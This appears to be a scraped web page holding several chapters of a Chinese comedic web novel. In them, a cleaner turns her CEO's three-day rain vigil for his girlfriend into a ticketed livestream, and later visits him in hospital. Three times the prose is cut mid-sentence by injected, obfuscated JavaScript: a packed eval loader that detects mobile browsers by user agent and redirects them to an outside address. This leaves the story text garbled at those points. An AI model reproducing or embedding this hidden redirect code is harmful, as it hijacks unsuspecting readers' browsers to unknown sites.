她看着手里的鸡蛋灌饼,又看了看颜淳。 “颜姐,你到底在想什么?” “我在想,怎么用最小的代价把你救出来。”颜淳说,“报警的话,她们可能撕票。直接冲进去,我打不过她们。所以最好的办法,就是让她们自己把我当成同伙。” “然后呢?” “然后她们放松警惕,我就有机会救你。”颜淳说,“你看,你没事,她们被抓了,完美。” 留念念盯着她看了五秒钟。 “颜姐,你是天才。” “不,我只是懒。”颜淳说,“懒得打架,懒得吵架,懒得折腾。能靠嘴解决的事,绝不动手。” 留念念笑了。 “颜姐,你真的是我见过最奇怪的人。” “谢谢夸奖。” 下午,涂腾赶到警局。 他看到留念念,冲过来抱住她。 “念念!你没事吧?!” “没事。”留念念说,“颜姐救了我。” 涂腾看向颜淳:“小颜,谢谢你。” “不客气。”颜淳说,“对了,绑匪给了我十七万五,算是赎金。这个钱,公司报销吗?” 涂腾愣住了。 “什么十七万五?” “就是绑匪要一百万,我砍到三十五万,然后我拿了一半。”颜淳说,“这是不是可以算工伤?” 涂腾深吸一口气。 “小颜,你到底在干什么?” “救人啊。”颜淳说,“人救了,钱也赚了,两全其美。” 涂腾张了张嘴,想说什么,但发现说什么都不对。 最后,他掏出手机,给颜淳转了一笔钱。 “这是十七万五,公司报销。” “谢谢涂董。”颜淳笑了,“涂董大气。” 傍晚,颜淳回到公司。 涂建国给她发了一条消息: “小颜,今天的事我听说了。你做得不错。这个月奖金再加五万。” 颜淳看着这条消息,嘴角翘得老高。 月薪三十万,加五万,三十五万。 保洁。 月薪三十五万。 “小七,我是不是应该感谢孙菲菲?” “感谢她干嘛?” “没有她,我哪来的加工资?” “……宿主,你是魔鬼。” “谢谢夸奖。” 9. 淋雨第一天 颜淳第二天到公司的时候,发现大厅里的空气不太对。 不是气味不对——是气压不对。前台那边空荡荡的,留念念不在。王姐一个人坐在那里,对着电脑发呆,桌上的文件堆得乱七八糟,跟平时整整齐齐的样子判若两人。 “王姐,念念呢?”颜淳把包放下,走过去。 王姐叹了口气,那口气长得像是要把肺里的空气都挤出来。她摘下老花镜,揉了揉鼻梁,眼镜腿上沾着粉底的痕迹。 “请假了。说是身体不舒服。” 颜淳靠在柜台上,手指无意识地敲着台面。大理石台面冰凉冰凉的,敲起来发出清脆的声响。 “昨天不是还好好的吗?” “谁知道呢。”王姐压低声音,左右看了看,像是怕隔墙有耳。大厅里没什么人,只有保安小张在门口晃悠,拖把在地上划来划去,“我听说,昨天晚上涂董跟她吵架了。” 颜淳挑眉。吵架?这两个人刚在一起没几天,就吵架? “为什么?” 王姐的声音压得更低了,低到颜淳得侧过耳朵才能听清:“好像是因为孙菲菲的事。念念怪涂董没保护好她,涂董说他已经尽力了。然后两个人就吵起来了,念念哭着跑了。” 颜淳沉默了几秒。窗外,天阴沉沉的,云层压得很低,像是有人在天上铺了一层灰色的棉被。远处的写字楼模糊在雾气里,玻璃幕墙反射着灰白色的光。 这剧情,怎么这么眼熟? “小七,”她在脑海里问,“原著里有这段吗?” 小猫咪的声音带着一种“我就知道你会问”的语气:“有。原著里男主和女主因为女配的事吵架,女主伤心离开,男主在楼下淋雨求原谅,淋了三天三夜。” 颜淳嘴角抽了抽。三天三夜? “他不怕感冒?” “宿主,小说里的人不会感冒。” “……这什么离谱设定。” “宿主,你第一天知道吗?” 颜淳站直身子,活动了一下脖子。颈椎咔咔响了两声。她看着窗外灰蒙蒙的天,总觉得今天会下雨。不是那种“天气预报说有雨”的觉得,是那种“空气里全是水分子、呼吸都觉得黏糊糊”的觉得。 果然。 中午十一点半,天空像是被人从上面泼了一盆水。 不是淅淅沥沥的小雨,是瓢泼大雨。雨点砸在地面上,溅起的水花能打到小腿高。远处的写字楼彻底模糊了,变成一片灰白色的影子。雨声大得像有人在头顶敲鼓,轰隆隆的,连大厅里的广播都听不清了。 颜淳站在大厅门口,看着外面的雨幕。雨水顺着玻璃门的缝隙渗进来,在地面上汇成一条细细的水流。她退后两步,鞋底踩在水流上,发出吧唧一声。 “小七,你说男主会在楼下淋雨?” “原著里是这么写的。” “今天?” “对,就是今天。” 颜淳盯着外面的雨看了三秒钟。雨太大了,大到看不清马路对面的红绿灯。一辆公交车经过,溅起的水花像喷泉。 她转身,走进保洁工具间。 工具间在电梯后面,很小,大概三四平米。拖把、水桶、抹布、清洁剂,满满当当地挤在一起。空气里弥漫着消毒水和潮湿的气味,墙角有一包没开封的樟脑丸,味道刺鼻。 颜淳在架子上翻了翻,找出一把折叠椅——铁管的,椅面是蓝色塑料,有一道裂纹,用透明胶带缠着。她又翻出一张折叠桌,桌腿有点歪,但勉强能站稳。桌子底下塞着一个大音响,不知道哪年买的,落了一层灰。音响旁边是一个麦克风,海绵罩已经发黄了。 她把东西一件一件搬出来,在大厅门口摆了个摊。 桌子摆在正中间,正对着外面的雨幕。折叠椅放在桌子后面,椅背朝着大厅。音响放在桌子左边,麦克风插上,试了试音。话筒里传来一声刺耳的啸叫,大厅里的人同时捂住了耳朵。 “不好意思不好意思。”颜淳调低了音量。 她从工具间又搬出一块白板,立在一旁。白板上用马克笔写着几行字,字迹歪歪扭扭的,但每个字都能看清: “霸道总裁淋雨秀” “门票:50元/人(学生半价)” “VIP票:200元/人(含前排座位+姜汤一杯)” “套票:500元/人(含门票+周边+姜汤+感冒药+退烧药)” “购票请扫二维码” 王姐从前台探出头,看了看白板,又看了看颜淳:“颜姐,你这是……” “做生意。”颜淳头也不抬,把二维码打印出来贴在白板右下角。 王姐张了张嘴,又闭上了。她跟颜淳共事的时间不长,但她已经学会了——不要问颜淳“你这是干什么”,因为答案永远会让你更困惑。 颜淳又掏出手机,架了个小支架,打开直播。 直播间标题打了一行字: “三天三夜不间断直播:霸道总裁淋雨求原谅” 直播间刚开,一个人都没有。颜淳也不急,把手机放在桌上,开始整理摊位。雨伞码成一排,左边是长柄的,右边是折叠的。雨衣叠好摞成一摞,姜汤装在保温桶里,感冒药和退烧药按品牌分类。 “宿主,你在干嘛?”小猫咪的声音带着一种“我已经放弃理解你了”的无奈。 “做生意。”颜淳说,“男主淋雨是他的事,但我不能让他白淋。这叫资源变现。” “你管这叫资源变现?” “对。他有流量,我有渠道,合作共赢。”颜淳把最后一盒感冒药摆好,拍了拍手,“完美。” “宿主,你是魔鬼。” “谢谢夸奖。” ________________ 下午两点,雨没有停的意思。 涂腾来了。 颜淳看到他的时候,他正从旋转门走出来。白衬衫,黑色西裤,皮鞋。没有打伞,没有穿雨衣,什么都没有。 他走得很慢,一步一步地走下台阶,走到大楼前面的空地上,站定。 雨水几乎是瞬间就把他浇透了。白衬衫贴在身上,变得半透明,露出后背的肌肉线条。头发贴在额头上,水顺着脸往下流。他仰起头,看着天空,一动不动。 雨打在他的脸上,他连眼睛都不眨。 颜淳坐在折叠椅上,撑着伞,看着这一幕。 雨太大了,大到看不清涂腾的表情。但颜淳觉得,他的表情应该很忧郁。霸道总裁淋雨的时候,表情必须是忧郁的。这是行业标准。 她拿起麦克风,清了清嗓子。 “各位观众,欢迎来到‘霸道总裁淋雨秀’现场!我是主持人颜淳!” 直播间里,人数从零跳到了十几。弹幕稀稀拉拉地飘过来: “什么情况?” “有人在雨中站着?” “这是真人秀吗?” 颜淳对着镜头说:“现在出场的是我们的男主角——涂腾先生!辉腾集团董事长!身高一米八五,体重七十五公斤,单身——不对,现在有女朋友了,但女朋友跟他吵架了,所以他在这里淋雨。” 她顿了顿,看了一眼涂腾的背影。 “他已经在雨中站了三十秒。目前状态良好,表情忧郁,眼神深邃,完美诠释了‘心碎’这个词。衬衫全湿,肌肉线条若隐若现,视觉效果满分。” 涂腾转过头,隔着雨幕看她。 “小颜,你在干什么?” 他的声音被雨声盖住了大半,但颜淳还是听到了。 “直播。”颜淳举起麦克风,声音通过音响传出去,在大厅里回荡,“涂董,您继续,不用管我。观众们就是来看您淋雨的。” 涂腾的脸黑了。雨水打在他脸上,把他的黑脸冲出了一道道的痕迹。 “你把我的痛苦当娱乐?” “不是娱乐,是艺术。”颜淳说,“淋雨三天三夜,这不是一般人能做到的。这是行为艺术,值得被记录。” 涂腾盯着她看了三秒钟,深吸一口气。雨灌进他的嘴里,他咳了两声,然后转过头,继续站着。 颜淳对着镜头说:“涂董接受了我的解释。他继续淋雨。专业素养很高,值得表扬。” 直播间的人数涨到了一百多。弹幕开始热闹起来: “这是哪家公司?” “辉腾集团。门口那个牌子写着呢。” “董事长淋雨?真的假的?” “真的。我在对面写字楼上班,亲眼看到的。” “好浪漫啊!” 颜淳看着弹幕,嘴角翘了起来。 “各位观众,现在是广告时间。”她从桌上拿起一盒感冒药,对着镜头,“本节目由‘康泰克’感冒药独家赞助。涂董同款感冒药,直播间只要四十九块九,买二送一。点击下方链接购买。” 弹幕刷屏: “哈哈哈哈广告来得猝不及防!” “颜姐你是销售吧?” “我已经下单了。” 涂腾又转过头:“你在卖广告?” “对。”颜淳说,“赞助商给了五万块,条件是您喝药的时候要念广告词。” “我不会念!” “没关系,我帮您念。”颜淳对着镜头,“各位观众,涂董虽然不念广告词,但他的行动已经证明了一切——淋雨三天,不喝康泰克,你试试?” 涂腾深吸一口气,转回头,不看她了。 _______________ 下午三点,雨小了一点。 但涂腾还在站着。他的衬衫已经完全湿透了,贴在身上,颜色从白色变成了半透明的灰白色。西裤也湿了,裤腿贴在小腿上,能看出小腿的肌肉线条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446846|201101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。皮鞋里灌满了水,每动一下,都能听到水声。 颜淳注意到他开始发抖。不是那种明显的抖,是那种细微的、从骨头里透出来的抖。肩膀微微耸起,手指蜷缩着,指甲发白。 直播间的人数已经涨到了五百多。弹幕里有人开始担心: “他会不会感冒啊?” “已经感冒了吧。淋了这么久的雨。” “要不要给他送伞?” “送伞就没意思了。淋雨就是要淋透才有感觉。” 颜淳看着弹幕,想了想,站起来,从桌上拿了一把伞,走到涂腾面前。 “涂董,买把伞吧。五十块。” 涂腾低头看了她一眼。雨水从他的睫毛上滴下来,落在她的伞面上,发出啪啪的声音。 “不买。” “那雨衣呢?一百块。” “不买。” “姜汤?二十块一杯,热的。” “不喝。” 颜淳叹了口气,回到摊位前。 “各位观众,涂董拒绝了我的所有产品。他选择了纯淋。这是硬汉的选择,我们尊重他。” 弹幕刷屏: “硬汉哈哈哈哈!” “颜姐你的销售话术对他没用啊!” “涂董加油!” 颜淳从保温桶里倒出一杯姜汤,自己喝了一口。姜味很重,辣得她眯起了眼睛。 “嗯,好喝。”她对着镜头说,“涂董不喝,我喝。不能浪费。” __________________ 傍晚六点,雨又大了。 涂腾站了整整四个小时。 他的嘴唇已经发紫了,脸色白得像纸。但腰板还是直的,头还是仰着的。 颜淳坐在折叠椅上,腿都坐麻了。她站起来活动了一下,走到涂腾面前。 “涂董,四个小时了。您要不要歇会儿?” “不用。” “那您吃点什么?我去食堂给您打饭。” “不吃。” “那您喝口水?” “不喝。” 颜淳看着他,突然觉得这个人有点可怜。不是那种“我好同情你”的可怜,是那种“你明明可以不用这样的但你偏要这样”的可怜。 “涂董,我跟您说句实话。” 涂腾看着她。 “念念今天请假了。她不在公司。您淋在这里,她看不到。” 涂腾的表情变了。不是那种剧烈的变化,是那种细微的、从眼睛里流露出来的变化。瞳孔缩了一下,嘴唇抿了抿,喉结上下滚动了一下。 “我知道。”他说。 “那您还淋?” “她会知道的。” 颜淳沉默了几秒。 “行吧。”她转身走回摊位,“您继续。” 她坐下来,对着镜头说:“各位观众,最新消息——念念今天请假了,不在公司。涂董知道,但他还在淋。因为他相信念念会知道。” 弹幕安静了一秒,然后炸了: “好痴情!” “我哭了!” “涂董你是好男人!” “颜姐你能不能帮帮他?” 颜淳看着弹幕,叹了口气。 “帮不了。感情的事,外人插不上手。我只能卖伞。” __________________ 晚上八点,加班加不动了的颜淳准备下班。 涂腾还在站着。雨还在下。天已经完全黑了,只有大楼的灯光照在他身上,把他的影子拉得很长。 颜淳把摊位收了,折叠椅叠好,折叠桌折好,白板搬回工具间。手机支架拆了,直播关了。保温桶里的姜汤还剩大半桶,她拎起来,走到涂腾面前。 “涂董,姜汤给您放这儿。喝不喝随您。” 她把保温桶放在地上,转身走了。 “小颜。”涂腾叫住她。 颜淳回头。 “你今天的直播,我爸看到了。” 颜淳愣了一下:“然后呢?” “他说干得漂亮,还打赏了五千块。” 颜淳站在雨中——她撑着伞,但雨太大了,裙摆还是湿了。她看着涂腾的背影,雨幕把他的轮廓模糊了,只剩下一个站得笔直的人形。 “董事长大气。”她说。 她转身走进大楼,湿透的裙摆贴在腿上,冰凉冰凉的。 电梯门打开,她走进去,按了一楼。门关上之前,她看了一眼大厅外面。雨幕中,涂腾的身影还在。 “宿主,你同情他了?”小猫咪问。 “没有。”颜淳说,“我只是觉得,他应该去念念家楼下淋。在公司楼下淋,念念又看不到,白淋。” “宿主,你是魔鬼。” “谢谢夸奖。” 电梯门关上了。 10. 淋雨三天三夜 第二天,颜淳到公司的时候,发现大厅门口排起了长队。 不是员工排队,是外面的人。有举着自拍杆的网红,有扛着摄像机的自媒体,有拿着笔记本的记者,还有穿着雨衣、拎着小板凳、一看就是专程来看热闹的市民。 队伍从大楼门口一直排到马路牙子上,弯弯曲曲的,像一条湿漉漉的蛇。 天还在下雨。不是昨天那种瓢泼大雨,是中雨,不大不小,但很密。雨丝细细的,斜斜的,被风吹着,打在脸上有点疼。 颜淳站在旋转门口,看着这条队伍,嘴角慢慢地、慢慢地翘了起来。 “小七,这是怎么回事?” 小猫咪的声音带着一种“你又搞出大事了”的语气:“宿主,你昨天的直播上热搜了。” “上热搜了?” “对。微博热搜第三。话题叫‘霸道总裁淋雨三天三夜,保洁阿姨在旁边卖票’。” 颜淳掏出手机,打开微博。果然。 热搜第三,话题后面跟着一个“爆”字。点进去,第一条就是她昨天的直播录屏。播放量已经八百多万了。评论区更热闹: “这保洁阿姨是个人才!” “董事长淋雨,保洁卖票,这公司企业文化有毒吧?” “我已经买了今天的VIP票,有人一起去吗?” “楼上,我也买了!组队!” 颜淳看着这些评论,深吸一口气。 “小七,我好像把男主搞得更出名了。” “宿主,您确定是‘好像’?” 颜淳没理小猫咪。她拿起麦克风,走到大厅门口,清了清嗓子。 “各位观众,欢迎来到‘霸道总裁淋雨秀’第二天!我是主持人颜淳!” 队伍里爆发出一阵欢呼。 “今天的门票价格不变!VIP座位有限,先到先得!” “另外,今天新增了周边产品——涂董同款白衬衫,一百九十九!买一件送一件!涂董同款忧郁表情包,九块九!买十送一!” 队伍里有人喊:“颜姐,表情包是啥?” 颜淳举起手机,屏幕上是一张涂腾淋雨的照片,配了一行字:“心碎了,谁捡?” 队伍里笑成一片。 “买!我买十套!” “我也买!” 颜淳对着镜头说:“感谢各位的支持!涂董知道了会很开心的。” 远处,雨中,涂腾站着。 他今天换了一件白衬衫——不是昨天的,是新的。但很快就湿透了。他的脸色比昨天更差,白里透着灰,灰里透着青。嘴唇干裂起皮,眼窝凹陷,整个人像是被雨泡发了又拧干的衣服。 他看了一眼队伍,看了一眼那些举着手机拍他的人,嘴唇动了动,没说出话。 颜淳走到他面前,递给他一杯姜汤。 “涂董,喝点吧。免费的。” 涂腾接过姜汤,喝了一口。他的手指在发抖,杯子里的姜汤晃来晃去,洒了一些在地上。 “小颜。” “嗯?” “这些人,是你叫来的?” “不是。”颜淳说,“他们自己来的。您火了,涂董。” 涂腾沉默了几秒。 “念念来了吗?” 颜淳看了一眼大厅里面。前台空荡荡的,留念念还是没来。 “没有。” 涂腾低下头,把姜汤喝完了。他把杯子还给颜淳,转过身,继续站着。 雨打在他身上,他不再发抖了。颜淳觉得,这反而不是什么好兆头。 _______________ 下午,雨小了一些,变成了毛毛雨。 但涂腾的状态更差了。 他开始咳嗽。不是那种轻轻的咳,是从肺里咳出来的,带着痰音的那种。每咳一声,肩膀就耸一下,整个人像是被什么东西从里面往外推。 颜淳站在摊位后面,看着他的背影,皱了皱眉。 “小七,他不会真的出问题吧?” “宿主,原著里他淋了三天,没事。但原著里没有直播,没有观众,没有人在旁边卖票。” “什么意思?” “意思是,原著里他淋雨的时候,是在念念家楼下。没人围观,没人打扰。他累了就坐下,渴了就喝水,饿了有人送饭。” 颜淳看了看涂腾——空着肚子,没喝水的,没坐下的,从昨天下午两点站到现在,快三十个小时了。 “所以他现在的状态,比原著里差?” “差很多。” 颜淳想了想,从保温桶里倒了一杯姜汤,又从桌上拿了一盒感冒药,走到涂腾面前。 “涂董,吃药。” 涂腾看了她一眼。他的眼睛充血了,眼白上布满了红血丝。 “不吃。” “您发烧了。” “没有。” 颜淳伸手摸了一下他的额头。烫的。不是那种“有点热”的烫,是那种“可以煎鸡蛋”的烫。 “三十九度至少。”颜淳说,“您再不吃药,明天就不用站了,直接躺。” 涂腾盯着她看了两秒,接过药,干吞了。药片卡在喉咙里,他咳了两声,咽了下去。 “行了吧?” “行。”颜淳把姜汤递给他,“再喝点热的。” 涂腾接过姜汤,喝了一口,又喝了一口。 “小颜。” “嗯?” “念念今天会来吗?” 颜淳看了看大厅里面。前台还是空荡荡的。 “不知道。” 涂腾把姜汤喝完,把杯子还给她,转过身,继续站着。 雨还在下。毛毛雨,落在脸上痒痒的。 颜淳回到摊位前,对着镜头说:“各位观众,涂董刚才吃了药,喝了姜汤。目前体温三十九度,精神状态——怎么说呢——倔强。” 弹幕刷屏: “涂董好倔!” “念念你快来吧!” “颜姐你能不能联系一下念念?” 颜淳看着弹幕,想了想,掏出手机,给留念念发了一条消息: “念念,涂董在楼下淋雨,已经三十个小时了。发烧三十九度。你再不来,他就要烧成傻子了。” 留念念秒回:“什么?!” 颜淳没再回。她把手机收起来,对着镜头说:“各位观众,消息已经发出去了。接下来,等。” _________________ 第三天,雨停了。 颜淳到公司的时候,看到涂腾还站着。 他站了整整两天两夜。四十八个小时。 天灰蒙蒙的,云层很厚,但没有下雨。空气很潮湿,地面还是湿的,积水映着天空的颜色。 涂腾的脸色已经不是白或灰了。是那种——怎么说呢——蜡黄。像是一张被放了很久的纸,边缘开始发黄发脆。他的眼睛半闭着,嘴唇干裂出血,整个人像是随时会倒下去。 但他还在站着。 颜淳走到他面前,蹲下来,看了看他的脸。 “涂董,您还醒着吗?” 涂腾的眼皮动了一下。 “嗯。” “您知道您现在在哪吗?” “公司楼下。” “您知道您站了多久了吗?” “两天。” “两天两夜。” “嗯。” 颜淳站起来,看着他。 “涂董,我跟您说句实话。念念今天可能会来。但她来之前,您得站着。您要是倒了,她就看不到了。” 涂腾的嘴角动了动。不知道是想笑还是想说什么。 “我知道。”他说。 _______________ 上午十点,留念念来了。 她穿着一件淡蓝色的连衣裙,头发散着,从出租车上下来,站在马路对面,看着涂腾。 隔着整条马路,颜淳都看到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“各位观众,‘霸道总裁淋雨秀’到此结束。感谢大家三天的陪伴。” 她的声音比平时轻了很多,轻到直播间里的人都没反应过来。 弹幕还在刷: “结束了?” “念念来了吗?” “我没看到啊!卡了吗?” 颜淳关掉直播,收起手机。 她看着涂腾和留念念的背影。两个人歪歪扭扭地走进大厅,留念念的肩膀被涂腾压着,走得很慢。涂腾的脚在地上拖着,留下一道湿漉漉的痕迹。 大厅里的人都在看他们。没有人说话。没有人拍照。 王姐从前台站起来,张了张嘴,又坐下了。保安小张站在门口,手里的拖把忘了放下。食堂的大爷端着一盆菜从电梯里出来,看到这一幕,愣在原地。 颜淳站在原地,雨后的风吹过来,带着泥土和树叶的味道。 她把摊位收了。折叠椅叠好,折叠桌折好,白板搬回工具间。保温桶里的姜汤已经凉了,她倒掉,洗了洗,放在架子上。 手机震了。 涂建国发来一条语音。颜淳点开,中气十足的老年男声从手机里炸出来,在空荡荡的工具间里回荡: “小颜,今天的直播我看了。干得漂亮。这个月奖金再加五万。” 颜淳看着手机屏幕,嘴角翘了一下。 月薪四十万,加五万,四十五万。 保洁。月薪四十五万。 她走出工具间,大厅里已经恢复了正常。王姐在接电话,保安小张在拖地,食堂的大爷端着菜回了食堂。 好像什么都没发生过。 但颜淳知道,有些事情变了。 她说不上来是什么。 她走到大厅门口,看着外面。雨后的天空还是灰蒙蒙的,但云层好像薄了一点。远处的写字楼还是模糊的,但轮廓清晰了一些。 “宿主,您在想什么?”小猫咪问。 “在想念念明天会不会来上班。” “应该会吧。她都原谅涂董了。” “嗯。”颜淳转身走回大厅,“但明天的事,谁说得准呢。” 11. 青梅竹马登场 刚上班,颜淳看着空空的董事长办公室,啧,这才老老实实上班几天啊。 “颜姐,涂董住院了。” 淋了三天,没淋死都算福大命大了。 “猜到了,毕竟淋了这么多天。” “市中心医院。你要来吗?” “来。等我买个果篮。” “买便宜点的,反正他也不吃。” “念念,你是他女朋友吗?” 对面停顿了几秒。“……是。” “那你就不能这么抠。买贵的,公司报销。” 留念念发了一个无语的表情包。一个黄豆脸,翻着白眼,嘴角下撇。颜淳盯着看了两秒,觉得那个表情很适合当自己的头像。 她收起手机,骑上小电驴。 午后的阳光白花花的,晒得柏油路面发软。路边的梧桐树叶子卷着边,蔫头耷脑的,连知了都叫得有气无力。颜淳眯着眼睛,一路骑到城西的水果批发市场。 她常来这家店。老板是个五十多岁的大叔,姓刘,圆脸,啤酒肚,夏天永远穿着一件洗得发白的背心。刘老板正在店里打盹,电风扇对着他呼呼地吹,把他稀疏的头发吹得东倒西歪。 “刘叔,醒醒,做生意了。” 刘老板睁开眼,看到是她,笑了:“小颜啊,今天不买鸡蛋灌饼了?” “今天买果篮。最贵的。” “最贵的?”刘老板坐起来,揉了揉眼睛,“你发工资了?” “公司报销。” 刘老板一听“公司报销”三个字,眼睛亮了。他转身走进后面的冷藏室,过了好一会儿才出来,手里拎着一个巨大的果篮。竹编的篮子,比颜淳的脑袋大三圈,里面塞满了水果——榴莲、芒果、山竹、车厘子、莲雾,还有几个颜淳叫不出名字的东西,个个油光水滑,像是刚从画报上剪下来的。 “一千二。进口的,空运的,带冰袋的。”刘老板拍了拍果篮,“这个榴莲是猫山王的,这一个就三百多。” 颜淳蹲下来,戳了戳那个榴莲。刺很硬,戳得手指疼。 “包起来。” 刘老板用透明的塑料纸把果篮裹了三层,又系了个红色的蝴蝶结。蝴蝶结歪歪扭扭的,像只醉酒的蝴蝶。 颜淳拎着果篮走出水果店,阳光打在塑料纸上,反射出一片刺眼的光。 “宿主,你买这么贵的果篮,公司真的报销?”小猫咪在她脑海里问。它的声音带着一种小心翼翼的试探,像是怕她又在打什么歪主意。 “当然报销。”颜淳把果篮挂在小电驴的车把上,车把猛地一沉,“涂董住院是因为淋雨,淋雨是因为追念念,追念念是因为我帮了他。所以涂董住院,有我一半功劳。公司报销果篮,合情合理。” “宿主,你这逻辑……” “很合理。” 小电驴歪歪扭扭地拐上大路,果篮在车把上晃来晃去,那只醉酒的蝴蝶在风中扑腾。 _____________ 市中心医院在城东,灰白色的大楼在蓝天下显得格外沉闷。门口的石狮子被太阳晒得发烫,一只野猫蹲在狮子脚下打盹,尾巴一甩一甩的。 VIP病房在十二楼。电梯里的空调开得很足,颜淳打了个喷嚏。走廊里很安静,只有护士站的电话偶尔响一声。墙上的挂钟指向下午三点,阳光从走廊尽头的窗户斜射进来,把地板切成明暗两半。 1208室。门半开着。 颜淳推门进去,先闻到一股消毒水的味道,然后是苹果的香气。 涂腾躺在床上,床头摇高了,半坐着。白色的病号服显得他脸色更白了,嘴唇干裂起皮,眼窝有点凹陷,但那双眼睛还是带着光——一种“我虽然病了但我还能瞪人”的光。 他瘦了。淋了三天雨,烧了三天,整个人像是被拧干的毛巾,皱巴巴的。 留念念坐在床边的椅子上,侧着身子,正低头削苹果。她今天穿了一件淡粉色的连衣裙,头发散着,垂在肩膀上。阳光从窗户照进来,落在她的侧脸上,能看到脸颊上细小的绒毛。她削苹果削得很认真,苹果皮一圈一圈地垂下来,到现在还没断。 床头柜上摆着一束花,白色的百合,插在透明的玻璃瓶里。花瓣上有水珠,应该是今天早上放的。 “哟,涂董,气色不错啊。” 颜淳把那个巨大的果篮往桌上一放。桌子太小,放不下。她又搬了把椅子过来,把果篮搁在椅子上。椅子不够高,果篮歪着,那只醉酒的蝴蝶歪歪斜斜地指着天花板。 涂腾看了一眼那个果篮,又看了一眼颜淳。 “这是什么?” “果篮。探病用的。” “为什么有榴莲?” “贵的才有榴莲。”颜淳拉了把椅子坐下,翘起二郎腿,“一千二的果篮,公司报销。” 涂腾深吸一口气。胸腔起伏的幅度有点大,牵动了肺部的炎症,他咳了两声。留念念赶紧放下苹果,给他拍背。 “小颜,你是来探病的还是来报销的?” “都有。”颜淳说,“探病是主业,报销是副业。” 留念念把拍背的手收回来,重新拿起苹果。苹果皮还是没断,她已经削了大半个了。 “念念,他怎么样?”颜淳问。 “医生说轻度肺炎,住几天院就好了。”留念念把最后一块皮削掉,苹果光滑得像打了蜡。她切成小块,放在碟子里,插上牙签,递给涂腾,“都怪你,非要淋雨。” “我错了。”涂腾接过碟子,插了一块苹果,放进嘴里。 “知道错了就好。”颜淳说,“下次别淋雨了,直接买把伞,五十块,多便宜。对了,伞卖断货了,您要不要考虑收点代言费?” 涂腾的牙签停在半空中。 “什么伞?” “就是您淋雨那天,我卖的那种伞。”颜淳从包里掏出一把折叠伞,撑开。 伞面上印着一张照片——涂腾站在雨中,白衬衫湿透,头发贴在脸上,眼神忧郁地望着远方。照片下面印着一行字:“涂董同款淋雨伞,买了就不用淋雨了。” 留念念凑过来看了一眼,噗嗤笑了出来。 “颜姐,这照片你什么时候拍的?” “他淋雨第一天。”颜淳说,“拍了好几百张,选了一张最好看的。” 涂腾的脸从白变黑。病号服的白领子衬得他那张脸像锅底。 “你印了我的照片卖伞?” “对。卖了两千多把。”颜淳把伞收起来,塞回包里,“工厂正在加急生产第二批。您要不要考虑收代言费?我可以帮您谈。” “小颜,我是病人。” “我知道。所以我来探病了。”颜淳从果篮里拿出一个芒果,“病人也可以谈生意嘛。不冲突。” 她剥芒果皮。芒果汁水流下来,她舔了舔手指。 涂腾看着她,深吸一口气,深吸两口气,深吸三口气。留念念在旁边给他顺背,小声说:“别气了,你越气她越来劲。” “念念,你是哪边的?” “我是看戏那边的。”留念念笑了。 窗外的阳光慢慢西移,从病床挪到了墙上。那束百合的影子被拉长,投在白色的床单上,像一幅素描。 颜淳吃完芒果,把核扔进垃圾桶,擦了擦手。 “对了,公司来了个新人,你们知道吗?” “新人?”留念念摇头。 “男的,二十多岁,阳光帅气,说是你的青梅竹马。” 颜淳看着留念念,一字一顿,“林逸风,认识吗?” 留念念手里的牙签掉了。 “逸风哥?” “对。他回来了。” 叮当。牙签在地上弹了一下,滚到了床底下。 留念念的脸红了。不是那种害羞的红,是那种“完了完了完了”的红。从脖子根一直红到耳朵尖,像煮熟的虾。 涂腾的脸色变化更精彩。先是白——病态的白,然后黑——锅底的黑,然后青——茄子的青,最后紫——猪肝的紫。短短三秒钟,他的脸像是打翻了调色盘。 “逸风哥是谁?”他的声音很平静。但那种平静,像是暴风雨前的宁静。 “就是……我小时候的邻居。”留念念的声音越来越小,“我们从小一起长大的。后来他出国了,就断了联系。” “从小一起长大?”涂腾把“从小”两个字咬得很重,“多大开始?” “五岁。” “五岁?!”涂腾的声音拔高了八度,咳嗽了两声,“你们认识了二十年?!” “十八年。”留念念纠正,“我五岁,他七岁。他比我大两岁。” 涂腾靠在枕头上,盯着天花板。天花板是白色的,中间有一盏日光灯,灯管有点发黑。他盯着那盏灯看了好几秒,像是在数灯管上有几条黑线。 “他回来干嘛?”涂腾问。 “我不知道啊。”留念念的声音带着一种“我真的不知道”的无辜。 颜淳看着涂腾的脸色,忍不住笑了。 “涂董,您别紧张。只是青梅竹马,又不是前男友。” “青梅竹马比前男友更可怕。”涂腾说,眼睛还是盯着天花板。 “为什么?” “因为前男友是过去式。青梅竹马是进行时。” 颜淳挑眉。这句话不像涂腾会说的话。 “涂董,您还挺懂。” “看的。”涂腾终于把目光从天花板上收回来,“小说里都这么写。” 留念念在旁边低着头,手指绞着裙角。裙角被她绞得皱巴巴的。 颜淳差点笑出声。堂堂霸道总裁,看小说学追女生。这个世界, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446848|201101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的太离谱了。 窗外的阳光又西移了一点,从墙上挪到了地板上。病房里安静了几秒,只有空调嗡嗡的声音。 “逸风哥不是那种人。”留念念突然说,声音比刚才大了一点,“他就是……就是……哥哥一样的。” “哥哥?”涂腾冷笑了一声,那声冷笑像是从鼻子里挤出来的,“哥哥会送你九十九朵玫瑰?” “他还没送呢。” “他会送的。” 